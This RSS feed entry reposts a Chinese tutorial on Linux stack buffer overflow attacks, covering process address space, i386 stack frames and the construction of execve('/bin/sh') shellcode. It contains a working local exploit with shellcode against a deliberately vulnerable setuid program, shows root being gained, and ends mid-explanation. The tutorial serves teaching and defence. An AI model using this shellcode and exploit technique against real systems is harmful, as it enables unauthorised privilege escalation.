﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-VIRGIN FOREST OF JAVA-文章分类-常用Windows指令</title><link>http://www.blogjava.net/RR00/category/5555.html</link><description>不要埋头苦干，要学习，学习，再学习。。。。。
&lt;br&gt;
powered  by &lt;font color='orange'&gt;R.Zeus&lt;/font&gt;</description><language>zh-cn</language><lastBuildDate>Tue, 27 Feb 2007 08:48:54 GMT</lastBuildDate><pubDate>Tue, 27 Feb 2007 08:48:54 GMT</pubDate><ttl>60</ttl><item><title>Linux下缓冲区溢出攻击的原理及对策</title><link>http://www.blogjava.net/RR00/articles/23405.html</link><dc:creator>R.Zeus</dc:creator><author>R.Zeus</author><pubDate>Sun, 11 Dec 2005 16:37:00 GMT</pubDate><guid>http://www.blogjava.net/RR00/articles/23405.html</guid><wfw:comment>http://www.blogjava.net/RR00/comments/23405.html</wfw:comment><comments>http://www.blogjava.net/RR00/articles/23405.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/RR00/comments/commentRss/23405.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/RR00/services/trackbacks/23405.html</trackback:ping><description><![CDATA[<P>级别: 初级</P>
<P><A href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#author">王勇</A>北京航空航天大学计算机学院系统软件实验室<BR></P>
<P>2003 年 10 月 01 日</P>
<BLOCKQUOTE>本文首先向读者讲解了Linux下进程地址空间的布局以及进程堆栈帧的结构，然后在此基础上介绍了Linux下缓冲区溢出攻击的原理及对策。</BLOCKQUOTE>
<P><A name=0><SPAN class=atitle><FONT face=Arial size=4>前言</FONT></SPAN></A></P>
<P>从逻辑上讲进程的堆栈是由多个堆栈帧构成的，其中每个堆栈帧都对应一个函数调用。当函数调用发生时，新的堆栈帧被压入堆栈；当函数返回时，相应的堆栈帧从堆栈中弹出。尽管堆栈帧结构的引入为在高级语言中实现函数或过程这样的概念提供了直接的硬件支持，但是由于将函数返回地址这样的重要数据保存在程序员可见的堆栈中，因此也给系统安全带来了极大的隐患。</P>
<P>历史上最著名的缓冲区溢出攻击可能要算是1988年11月2日的Morris Worm所携带的攻击代码了。这个因特网蠕虫利用了fingerd程序的缓冲区溢出漏洞，给用户带来了很大危害。此后，越来越多的缓冲区溢出漏洞被发现。从bind、wu-ftpd、telnetd、apache等常用服务程序，到Microsoft、Oracle等软件厂商提供的应用程序，都存在着似乎永远也弥补不完的缓冲区溢出漏洞。</P>
<P>根据绿盟科技提供的漏洞报告，2002年共发现各种操作系统和应用程序的漏洞1830个，其中缓冲区溢出漏洞有432个，占总数的23.6%. 而绿盟科技评出的2002年严重程度、影响范围最大的十个安全漏洞中，和缓冲区溢出相关的就有6个。</P>
<P>在读者阅读本文之前有一点需要说明，文中所有示例程序的编译运行环境为gcc 2.7.2.3以及bash 1.14.7，如果读者不清楚自己所使用的编译运行环境可以通过以下命令查看：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section><FONT face="Lucida Console" size=2> 
$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.7.2.3/specs
gcc version 2.7.2.3
$ rpm -qf /bin/sh
bash-1.14.7-16

</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>如果读者使用的是较高版本的gcc或bash的话，运行文中示例程序的结果可能会与这里给出的结果不尽相符，具体原因将在相应章节中做出解释。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#main"><B>回页首</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=1><SPAN class=atitle><FONT face=Arial size=4>Linux下缓冲区溢出攻击实例</FONT></SPAN></A></P>
<P>为了引起读者的兴趣，我们不妨先来看一个Linux下的缓冲区溢出攻击实例。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section><FONT face="Lucida Console" size=2> 
#include &lt;stdlib.h&gt;
#include &lt;unistd.h&gt;

extern char **environ;

int main(int argc, char **argv)
{
        char large_string[128];
        long *long_ptr = (long *) large_string;
        int i;
        char shellcode[] =
                "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"
                "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"
                "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";

        for (i = 0; i &lt; 32; i++)
                *(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
        for (i = 0; i &lt; (int) strlen(shellcode); i++)
                large_string[i] = shellcode[i];

        setenv("KIRIKA", large_string, 1);
        execle(argv[1], argv[1], NULL, environ);

        return 0;
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR><A name=N1005E><B>图1 攻击程序exe.c</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main(int argc, char **argv)
{
        char buffer[96];

        printf("- %p -\\n", &amp;buffer);
        strcpy(buffer, getenv("KIRIKA"));

        return 0;
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>图2 攻击对象toto.c</P>
<P>将上面两个程序分别编译为可执行程序，并且将toto改为属主为root的setuid程序：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gcc exe.c -o exe
$ gcc toto.c -o toto
$ su
Password:
# chown root.root toto
# chmod +s toto
# ls -l exe toto
-rwxr-xr-x   	 1 wy       os          	11871 Sep 28 20:20 exe*
-rwsr-sr-x		 1 root     root        	11269 Sep 28 20:20 toto*
# exit

</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>OK，看看接下来会发生什么。首先别忘了用whoami命令验证一下我们现在的身份。其实Linux继承了UNIX的一个习惯，即普通用户的命令提示符是以$开始的，而超级用户的命令提示符是以#开始的。</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ whoami
wy
$ ./exe ./toto 0xbfffffff
- 0xbffffc38 -
Segmentation fault
$ ./exe ./toto 0xbffffc38
- 0xbffffc38 -
bash# whoami
root
bash#
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>第一次一般不会成功，但是我们可以准确得知系统的漏洞所在――0xbffffc38，第二次必然一击毙命。当我们在新创建的shell下再次执行whoami命令时，我们的身份已经是root了！由于在所有UNIX系统下黑客攻击的最高目标就是对root权限的追求，因此可以说系统已经被攻破了。</P>
<P>这里我们模拟了一次Linux下缓冲区溢出攻击的典型案例。toto的属主为root，并且具有setuid属性，通常这种程序是缓冲区溢出的典型攻击目标。普通用户wy通过其含有恶意攻击代码的程序exe向具有缺陷的toto发动了一次缓冲区溢出攻击，并由此获得了系统的root权限。有一点需要说明的是，如果读者使用的是较高版本的bash的话，即使通过缓冲区溢出攻击exe得到了一个新的shell，在看到whoami命令的结果后您可能会发现您的权限并没有改变，具体原因我们将在本文最后一节做出详细的解释。不过为了一睹为快，您可以先使用本文 <A href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/bof.tar.gz">代码包</A>中所带的exe_pro.c作为攻击程序，而不是图1中的exe.c。 </P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#main"><B>回页首</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=2><SPAN class=atitle><FONT face=Arial size=4>Linux下进程地址空间的布局及堆栈帧的结构</FONT></SPAN></A></P>
<P>要想了解Linux下缓冲区溢出攻击的原理，我们必须首先掌握Linux下进程地址空间的布局以及堆栈帧的结构。</P>
<P>任何一个程序通常都包括代码段和数据段，这些代码和数据本身都是静态的。程序要想运行，首先要由操作系统负责为其创建进程，并在进程的虚拟地址空间中为其代码段和数据段建立映射。光有代码段和数据段是不够的，进程在运行过程中还要有其动态环境，其中最重要的就是堆栈。图3所示为Linux下进程的地址空间布局：</P><BR><A name=N10092><B>图3 Linux下进程地址空间的布局</B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/images/image003.gif"> <BR>
<P>首先，execve(2)会负责为进程代码段和数据段建立映射，真正将代码段和数据段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外，execve(2)还会将bss段清零，这就是为什么未赋初值的全局变量以及static变量其初值为零的原因。进程用户空间的最高位置是用来存放程序运行时的命令行参数及环境变量的，在这段地址空间的下方和bss段的上方还留有一个很大的空洞，而作为进程动态运行环境的堆栈和堆就栖身其中，其中堆栈向下伸展，堆向上伸展。</P>
<P>知道了堆栈在进程地址空间中的位置，我们再来看一看堆栈中都存放了什么。相信读者对C语言中的函数这样的概念都已经很熟悉了，实际上堆栈中存放的就是与每个函数对应的堆栈帧。当函数调用发生时，新的堆栈帧被压入堆栈；当函数返回时，相应的堆栈帧从堆栈中弹出。典型的堆栈帧结构如图4所示。</P>
<P>堆栈帧的顶部为函数的实参，下面是函数的返回地址以及前一个堆栈帧的指针，最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针，其中一个称为堆栈帧指针，另一个称为栈顶指针。前者所指向的位置是固定的，而后者所指向的位置在函数的运行过程中可变。因此，在函数中访问实参和局部变量时都是以堆栈帧指针为基址，再加上一个偏移。对照图4可知，实参的偏移为正，局部变量的偏移为负。</P><BR><A name=N100A8><B>图4 典型的堆栈帧结构</B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/images/image004.gif"> <BR>
<P>介绍了堆栈帧的结构，我们再来看一下在Intel i386体系结构上堆栈帧是如何实现的。图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。</P><BR><A name=N100B6><B>图5 一个简单的C程序example1.c</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>int function(int a, int b, int c)
{
        char buffer[14];
        int     sum;
        sum = a + b + c;
        return sum;
}

void main()
{
        int     i;
        i = function(1,2,3);
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR><A name=N100C0><B>图6 example1.c编译后生成的汇编程序example1.s</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>1    .file   "example1.c"
2     .version    "01.01"
3 gcc2_compiled.:
4 .text
5     .align 4
6 .globl function
7     .type    function,@function
8 function:
9     pushl %ebp
10     movl %esp,%ebp
11     subl $20,%esp
12     movl 8(%ebp),%eax
13     addl 12(%ebp),%eax
14     movl 16(%ebp),%edx
15     addl %eax,%edx
16     movl %edx,-20(%ebp)
17     movl -20(%ebp),%eax
18     jmp .L1
19     .align 4
20 .L1:
21     leave
22     ret
23 .Lfe1:
24     .size    function,.Lfe1-function
25     .align 4
26 .globl main
27     .type    main,@function
28 main:
29     pushl %ebp
30	movl %esp,%ebp
31     subl $4,%esp
32     pushl $3
33     pushl $2
34     pushl $1
35     call function
36     addl $12,%esp
37     movl %eax,%eax
38     movl %eax,-4(%ebp)
39 .L2:
40     leave
41     ret
42 .Lfe2:
43     .size    main,.Lfe2-main
44     .ident  "GCC: (GNU) 2.7.2.3"
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>这里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。从图5中可以看到，function是在main中被调用的，三个实参的值分别为1、2、3。由于C语言中函数传参遵循反向压栈顺序，所以在图6中32至34行三个实参从右向左依次被压入堆栈。接下来35行的call指令除了将控制转移到function之外，还要将call的下一条指令addl的地址，也就是function函数的返回地址压入堆栈。下面就进入function函数了，首先在第9行将main函数的堆栈帧指针ebp保存在堆栈中并在第10行将当前的栈顶指针esp保存在堆栈帧指针ebp中，最后在第11行为function函数的局部变量buffer[14]和sum在堆栈中分配空间。至此，函数function的堆栈帧就构建完成了，其结构如图7所示。</P><BR><A name=N100CF><B>图7 函数function的堆栈帧</B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/images/image007.gif"> <BR>
<P>读者不妨回过头去与图4对比一下。这里有几点需要说明。首先，在Intel i386体系结构下，堆栈帧指针的角色是由ebp扮演的，而栈顶指针的角色是由esp扮演的。另外，函数function的局部变量buffer[14]由14个字符组成，其大小按说应为14字节，但是在堆栈帧中却为其分配了16个字节。这是时间效率和空间效率之间的一种折衷，因为Intel i386是32位的处理器，其每次内存访问都必须是4字节对齐的，而高30位地址相同的4个字节就构成了一个机器字。因此，如果为了填补buffer[14]留下的两个字节而将sum分配在两个不同的机器字中，那么每次访问sum就需要两次内存操作，这显然是无法接受的。还有一点需要说明的是，正如我们在本文前言中所指出的，如果读者使用的是较高版本的gcc的话，您所看到的函数function对应的堆栈帧可能和图7所示有所不同。上面已经讲过，为函数function的局部变量buffer[14]和sum在堆栈中分配空间是通过在图6中第11行对esp进行减法操作完成的，而sub指令中的20正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中，sub指令中出现的数字可能不是20，而是一个更大的数字。应该说这与优化编译技术有关，在较高版本的gcc中为了有效运用目前流行的各种优化编译技术，通常需要在每个函数的堆栈帧中留出一定额外的空间。</P>
<P>下面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。前面已经提过，在函数中访问实参和局部变量时都是以堆栈帧指针为基址，再加上一个偏移，而Intel i386体系结构下的堆栈帧指针就是ebp，为了清楚起见，我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针ebp的偏移。这下图6中12至16的计算就一目了然了，8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp)分别是实参a、b、c和局部变量sum的地址，几个简单的add指令和mov指令执行后sum中便是a、b、c三者之和了。另外，在gcc编译生成的汇编程序中函数的返回结果是通过eax传递的，因此在图6中第17行将sum的值拷贝到eax中。</P>
<P>最后，我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出堆栈的。图6中第21行的leave指令将堆栈帧指针ebp拷贝到esp中，于是在堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了；除此之外，leave指令还有一个功能，就是从堆栈中弹出一个机器字并将其存放到ebp中，这样ebp就被恢复为main函数的堆栈帧指针了。第22行的ret指令再次从堆栈中弹出一个机器字并将其存放到指令指针eip中，这样控制就返回到了第36行main函数中的addl指令处。addl指令将栈顶指针esp加上12，于是当初调用函数function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此，函数function的堆栈帧就被完全销毁了。前面刚刚提到过，在gcc编译生成的汇编程序中通过eax传递函数的返回结果，因此图6中第38行将函数function的返回结果保存在了main函数的局部变量i中。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/index.html#main"><B>回页首</B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=3><SPAN class=atitle><FONT face=Arial size=4>Linux下缓冲区溢出攻击的原理</FONT></SPAN></A></P>
<P>明白了Linux下进程地址空间的布局以及堆栈帧的结构，我们再来看一个有趣的例子。</P><BR><A name=N100EC><B>图8 一个奇妙的程序example2.c</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>1 int function(int a, int b, int c) {
2     char buffer[14];
3     int sum;
4     int *ret;
5
6     ret = buffer + 20;
7     (*ret) += 10;
8     sum = a + b + c;
9     return sum;
10 }
11
12 void main() {
13     int x;
14
15     x = 0;
16     function(1,2,3);
17     x = 1;
18     printf("%d\\n",x);
19 }
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>在main函数中，局部变量x的初值首先被赋为0，然后调用与x毫无关系的function函数，最后将x的值改为1并打印出来。结果是多少呢，如果我告诉你是0你相信吗？闲话少说，还是赶快来看看函数function都动了哪些手脚吧。这里的function函数与图5中的function相比只是多了一个指针变量ret以及两条对ret进行操作的语句，就是它们使得main函数最后打印的结果变成了0。对照图7可知，地址buffer + 20处保存的正是函数function的返回地址，第7行的语句将函数function的返回地址加了10。这样会达到什么效果呢？看一下main函数对应的汇编程序就一目了然了。</P><BR><A name=N100F9><B>图9 example2.c中main函数对应的汇编程序</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gdb example2
(gdb) disassemble main
Dump of assembler code for function main:
0x804832c &lt;main&gt;:       push   %ebp
0x804832d &lt;main+1&gt;:     mov    %esp,%ebp
0x804832f &lt;main+3&gt;:     sub    $0x4,%esp
0x8048332 &lt;main+6&gt;:     movl   $0x0,0xfffffffc(%ebp)
0x8048339 &lt;main+13&gt;:    push   $0x3
0x804833b &lt;main+15&gt;:    push   $0x2
0x804833d &lt;main+17&gt;:    push   $0x1
0x804833f &lt;main+19&gt;:    call   0x80482f8 &lt;function&gt;
0x8048344 &lt;main+24&gt;:    add    $0xc,%esp
0x8048347 &lt;main+27&gt;:    movl   $0x1,0xfffffffc(%ebp)
0x804834e &lt;main+34&gt;:    mov    0xfffffffc(%ebp),%eax
0x8048351 &lt;main+37&gt;:    push   %eax
0x8048352 &lt;main+38&gt;:    push   $0x80483b8
0x8048357 &lt;main+43&gt;:    call   0x8048284 &lt;printf&gt;
0x804835c &lt;main+48&gt;:    add    $0x8,%esp
0x804835f &lt;main+51&gt;:    leave
0x8048360 &lt;main+52&gt;:    ret
0x8048361 &lt;main+53&gt;:    lea    0x0(%esi),%esi
End of assembler dump.
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>地址为0x804833f的call指令会将0x8048344压入堆栈作为函数function的返回地址，而图8中第7行语句的作用就是将0x8048344加10从而变成了0x804834e。这么一改当函数function返回时地址为0x8048347的mov指令就被跳过了，而这条mov指令的作用正是用来将x的值改为1。既然x的值没有改变，我们打印看到的结果就必然是其初值0了。</P>
<P>当然，图8所示只是一个示例性的程序，通过修改保存在堆栈帧中的函数的返回地址，我们改变了程序正常的控制流。图8中程序的运行结果可能会使很多读者感到新奇，但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码，那时你又会做何感想呢？缓冲区溢出攻击正是利用了在某些体系结构下函数的返回地址被保存在程序员可见的堆栈中这一缺陷，修改函数的返回地址，使得一段精心安排好的恶意代码在函数返回时得以执行，从而达到危害系统安全的目的。</P>
<P>说到缓冲区溢出就不能不提shellcode，shellcode读者已经在图1中见过了，其作用就是生成一个shell。下面我们就来一步步看一下这段令人眼花缭乱的程序是如何得来的。首先要说明一下，Linux下的系统调用都是通过int $0x80中断实现的。在调用int $0x80之前，eax中保存了系统调用号，而系统调用的参数则保存在其它寄存器中。图10所示是直接利用系统调用实现的Hello World程序。</P><BR><A name=N1010C><B>图10 直接利用系统调用实现的Hello World程序hello.c</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>#include &lt;asm/unistd.h&gt;

int errno;

_syscall3(int, write, int, fd, char *, data, int, len);

_syscall1(int, exit, int, status);

_start()
{
            write(0, "Hello world!\\n", 13);
            exit(0);
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>将其编译链接生成可执行程序hello：</P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gcc -c hello.c
$ ld hello.o -o hello
$ ./hello
Hello world!
$ ls -l hello
-rwxr-xr-x    1 wy       os           1188 Sep 29 17:31 hello*

</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>有兴趣的读者可以将这个hello的大小和我们当初在第一节C语言课上学过的Hello World程序的大小比较一下，看看能不能用C语言写出更小的Hello World程序。图10中的_syscall3和_syscall1都是定义于/usr/include/asm/unistd.h中的宏，该文件中定义了以__NR_开头的各种系统调用的所对应的系统调用号以及_syscall0到_syscall6六个宏，分别用于参数个数为0到6的系统调用。由此可知，Linux系统中系统调用所允许的最大参数个数就是6个，比如mmap(2)。另外，仔细阅读syscall0到_syscall6六个宏的定义不难发现，系统调用号是存放在寄存器eax中的，而系统调用可能会用到的6个参数依次存放在寄存器ebx、ecx、edx、esi、edi和ebp中。</P>
<P>清楚了系统调用的使用规则，我先来看一下如何在Linux下生成一个shell。应该说这是非常简单的任务，使用execve(2)系统调用即可，如图11所示。</P><BR><A name=N10123><B>图11 shellcode.c在Linux下生成一个shell</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>#include &lt;unistd.h&gt;

int main()
{
        char *name[2];

        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
        _exit(0);
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>在shellcode.c中一共用到了两个系统调用，分别是execve(2)和_exit(2)。查看/usr/include/asm/unistd.h文件可以得知，与其相应的系统调用号__NR_execve和__NR_exit分别为11和1。按照前面刚刚讲过的系统调用规则，在Linux下生成一个shell并结束退出需要以下步骤：</P>
<UL>
<LI>在内存中存放一个以'\\0'结束的字符串"/bin/sh"； 
<LI>将字符串"/bin/sh"的地址保存在内存中的某个机器字中，并且后面紧接一个值为0的机器字，这里相当于设置好了图11中name[2]中的两个指针； 
<LI>将execve(2)的系统调用号11装入eax寄存器； 
<LI>将字符串"/bin/sh"的地址装入ebx寄存器； 
<LI>将第2步中设好的字符串"/bin/sh"的地址的地址装入ecx寄存器； 
<LI>将第2步中设好的值为0的机器字的地址装入edx寄存器； 
<LI>执行int $0x80，这里相当于调用execve(2)； 
<LI>将_exit(2)的系统调用号1装入eax寄存器； 
<LI>将退出码0装入ebx寄存器； 
<LI>执行int $0x80，这里相当于调用_exit(2)。 </LI></UL>
<P>于是我们就得到了图12所示的汇编程序。</P><BR><A name=N10154><B>图12 使用execve(2)和_exit(2)系统调用生成shell的汇编程序shellcodeasm.c</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section><FONT face="Lucida Console" size=2> 
1 void main()
2 {
3		__asm__("
4				jmp     1f
5		2:		popl    %esi
6				movl    %esi,0x8(%esi)
7				movb    $0x0,0x7(%esi)
8				movl    $0x0,0xc(%esi)
9				movl    $0xb,%eax
10				movl    %esi,%ebx
11				leal    0x8(%esi),%ecx
12				leal    0xc(%esi),%edx
13				int     $0x80
14				movl    $0x1, %eax
15				movl    $0x0, %ebx
16				int     $0x80
17		1:		call    2b
18				.string \\"/bin/sh\\"
19		");
20 }
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>这里第4行的jmp指令和第17行的call指令使用的都是IP相对寻址方式，第14行至第16行对应于_exit(2)系统调用，由于它比较简单，我们着重看一下调用execve(2)的过程。首先第4行的jmp指令执行之后控制就转移到了第17行的call指令处，在call指令的执行过程中除了将控制转移到第5行的pop指令外，还会将其下一条指令的地址压入堆栈。然而由图12可知，call指令后面并没有后续的指令，而是存放了字符串"/bin/sh"，于是实际被压入堆栈的便成了字符串"/bin/sh"的地址。第5行的pop指令将刚刚压入堆栈的字符串地址弹出到esi寄存器中。接下来的三条指令首先将esi中的字符串地址保存在字符串"/bin/sh"之后的机器字中，然后又在字符串"/bin/sh"的结尾补了个'\\0'，最后将0写入内存中合适的位置。第9行至第12行按图13所示正确设置好了寄存器eax、ebx、ecx和edx的值，在第13行就可以调用execve(2)了。但是在编译shellcodeasm.c之后，你会发现程序无法运行。原因就在于图13中所示的所有数据都存放在代码段中，而在Linux下存放代码的页面是不可写的，于是当我们试图使用图12中第6行的mov指令进行写操作时，页面异常处理程序会向运行我们程序的进程发送一个SIGSEGV信号，这样我们的终端上便会出现Segmentation fault的提示信息。</P><BR><A name=N10163><B>图13调用execve(2)之前各寄存器的设置</B></A><BR><IMG alt="" src="http://www-128.ibm.com/developerworks/cn/linux/l-overflow/images/image013.gif"> <BR>
<P>解决的办法很简单，既然不能对代码段进行写操作，我们就把图12中的代码挪到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中应该怎么表示呢？其实，内存中存放着的无非是0和1这样的比特，当我们的程序将其用作代码时这些比特就成了代码，而当我们的程序将其用作数据时这些比特又成了数据。我们先来看一下图12中的代码在内存中是如何存放的，通过gdb中的x命令可以很容易的做到这一点，如图14所示。</P><BR><A name=N10171><B>图14 通过gdb中的x命令查看图12中的代码在内存中对应的数据</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console" size=2>$ gdb shellcodeasm
(gdb) disassemble main
Dump of assembler code for function main:
0x80482c4 &lt;main&gt;:       push   %ebp
0x80482c5 &lt;main+1&gt;:     mov    %esp,%ebp
0x80482c7 &lt;main+3&gt;:     jmp    0x80482f3 &lt;main+47&gt;
0x80482c9 &lt;main+5&gt;:     pop    %esi
0x80482ca &lt;main+6&gt;:     mov    %esi,0x8(%esi)
0x80482cd &lt;main+9&gt;:     movb   $0x0,0x7(%esi)
0x80482d1 &lt;main+13&gt;:    movl   $0x0,0xc(%esi)
0x80482d8 &lt;main+20&gt;:    mov    $0xb,%eax
0x80482dd &lt;main+25&gt;:    mov    %esi,%ebx
0x80482df &lt;main+27&gt;:    lea    0x8(%esi),%ecx
0x80482e2 &lt;main+30&gt;:    lea    0xc(%esi),%edx
0x80482e5 &lt;main+33&gt;:    int    $0x80
0x80482e7 &lt;main+35&gt;:    mov    $0x1,%eax
0x80482ec &lt;main+40&gt;:    mov    $0x0,%ebx
0x80482f1 &lt;main+45&gt;:    int    $0x80
0x80482f3 &lt;main+47&gt;:    call   0x80482c9 &lt;main+5&gt;
0x80482f8 &lt;main+52&gt;:    das
0x80482f9 &lt;main+53&gt;:    bound  %ebp,0x6e(%ecx)
0x80482fc &lt;main+56&gt;:    das
0x80482fd &lt;main+57&gt;:    jae    0x8048367
0x80482ff &lt;main+59&gt;:    add    %cl,%cl
0x8048301 &lt;main+61&gt;:    ret
0x8048302 &lt;main+62&gt;:    mov    %esi,%esi
End of assembler dump.
(gdb) x /49xb 0x80482c7
0x80482c7 &lt;main+3&gt;:		0xeb 0x2a 0x5e 0x89 0x76 0x08 0xc6 0x46
0x80482cf &lt;main+11&gt;:		0x07 0x00 0xc7 0x46 0x0c 0x00 0x00 0x00
0x80482d7 &lt;main+19&gt;:		0x00 0xb8 0x0b 0x00 0x00 0x00 0x89 0xf3
0x80482df &lt;main+27&gt;:		0x8d 0x4e 0x08 0x8d 0x56 0x0c 0xcd 0x80
0x80482e7 &lt;main+35&gt;:		0xb8 0x01 0x00 0x00 0x00 0xbb 0x00 0x00
0x80482ef &lt;main+43&gt;:		0x00 0x00 0xcd 0x80 0xe8 0xd1 0xff 0xff
0x80482f7 &lt;main+51&gt;:		0xff


</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
